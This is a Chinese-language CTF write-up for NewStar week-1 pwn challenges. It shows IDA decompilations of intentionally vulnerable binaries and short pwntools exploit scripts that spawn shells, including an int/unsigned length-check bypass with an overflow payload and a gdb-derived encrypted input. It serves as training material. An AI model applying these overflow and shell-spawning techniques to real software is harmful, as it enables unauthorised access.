Newshar-week1

Real login

拿到附件直接丢ida

可以观察到题目给了system后门函数

点击main函数F5反编译成伪函数

再次点击进入func函数

观察到有if函数,进入之后发现有/bin/sh函数,可以拿到shell

返回按tab键,切换成汇编语言

找到密码,直接运行题目所给的ELF文件,输入给的密码NewStar!!!

get shell

ls

cat flag

game

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __noreturn game()
{
int v0; // [rsp+0h] [rbp-10h] BYREF
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
v0 = 0;
puts("Let's play a game!");
alarm(5u);
while ( 1 )
{
printf("pls input you num: ");
__isoc99_scanf("%d", &v0);
if ( v0 < 0 || v0 > 10 )
break;
v1 += v0;
if ( v1 > 999 )
system("/bin/sh");
}
exit(-1);
}

观察发现要输入小于10大于1的数使得v1>999

联想到循环输入

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote("ip", port)

for i in range(112):

p.sendlineafter(b': ', b'9')

p.interactive()

Overwrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 func()
{
int nbytes; // [rsp+Ch] [rbp-84h] BYREF
size_t nbytes_4; // [rsp+10h] [rbp-80h] BYREF
char nptr[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v4; // [rsp+88h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("pls input the length you want to readin: ");
__isoc99_scanf("%d", &nbytes);
if ( nbytes > 48 )
exit(0);
printf("pls input want you want to say: ");
read(0, &nbytes_4, (unsigned int)nbytes);
if ( atoi(nptr) <= 114514 )
{
puts("bad ,your wallet is empty");
}
else
{
puts("oh you have the money to get flag");
getflag();
}
return v4 - __readfsqword(0x28u);
}

ida反编译

观察代码,题目给了get flag()

满足atoi(nptr)>114514即可

观察到,read() 函数中使用的是 unsigned int nbytes,但在输入校验时 nbytesint 类型

明显的整数溢出

输入-1即可绕过前面的 if(nbytes>48)

然后通过rbp来覆盖返回地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.terminal = ['tmux','splitw','-h']
# p = process('./pwn')

p = remote('ip', port)
payload = b'a'*0x30 + b'114515'

p.sendlineafter(b': ', b'-1')


p.sendafter(b': ', payload)

p.interactive()

Gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall main(int a1, char **a2, char **a3)
{
size_t v3; // rax
size_t v4; // rax
int fd; // [rsp+0h] [rbp-460h]
char s[9]; // [rsp+7h] [rbp-459h] BYREF
_DWORD v8[12]; // [rsp+10h] [rbp-450h] BYREF
__int64 v9; // [rsp+40h] [rbp-420h]
__int64 v10; // [rsp+48h] [rbp-418h]
char buf[1032]; // [rsp+50h] [rbp-410h] BYREF
unsigned __int64 v12; // [rsp+458h] [rbp-8h]

v12 = __readfsqword(0x28u);
strcpy(s, "0d000721");
strcpy((char *)v8, "mysecretkey1234567890abcdefghijklmnopqrstu");
HIBYTE(v8[10]) = 0;
v8[11] = 0;
v9 = 0LL;
v10 = 0LL;
printf("Original: %s\n", s);
v3 = strlen(s);
sub_1317(s, v3, v8);
printf("Input your encrypted data: ");
read(0, buf, 0x200uLL);
v4 = strlen(s);
if ( !memcmp(s, buf, v4) )
{
printf("Congratulations!");
fd = open("/flag", 0);
memset(buf, 0, 0x100uLL);
read(fd, buf, 0x100uLL);
write(1, buf, 0x100uLL);
}
return 0LL;
}

ida分析

看起来很复杂

可以看到程序逻辑是对一串字符串执行了加密操作,然后需要我们输入加密后的数据

对于加密函数sub_1317,可以发现完全看不懂

所以我们选择用gdb动态调试查看加密后的数据

输入b *$base(0x1836)

运行到加密函数处,可以发现,rdi 寄存器存的是要加密的内容

tel 0x7fffffffd717 指令查看字符串的内容

exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./gdb')

elf = ELF('./gdb')

payload = b'\x5d\x1d\x43\x55\x53\x45\x57\x45'

p.sendline(payload)

p.interactive()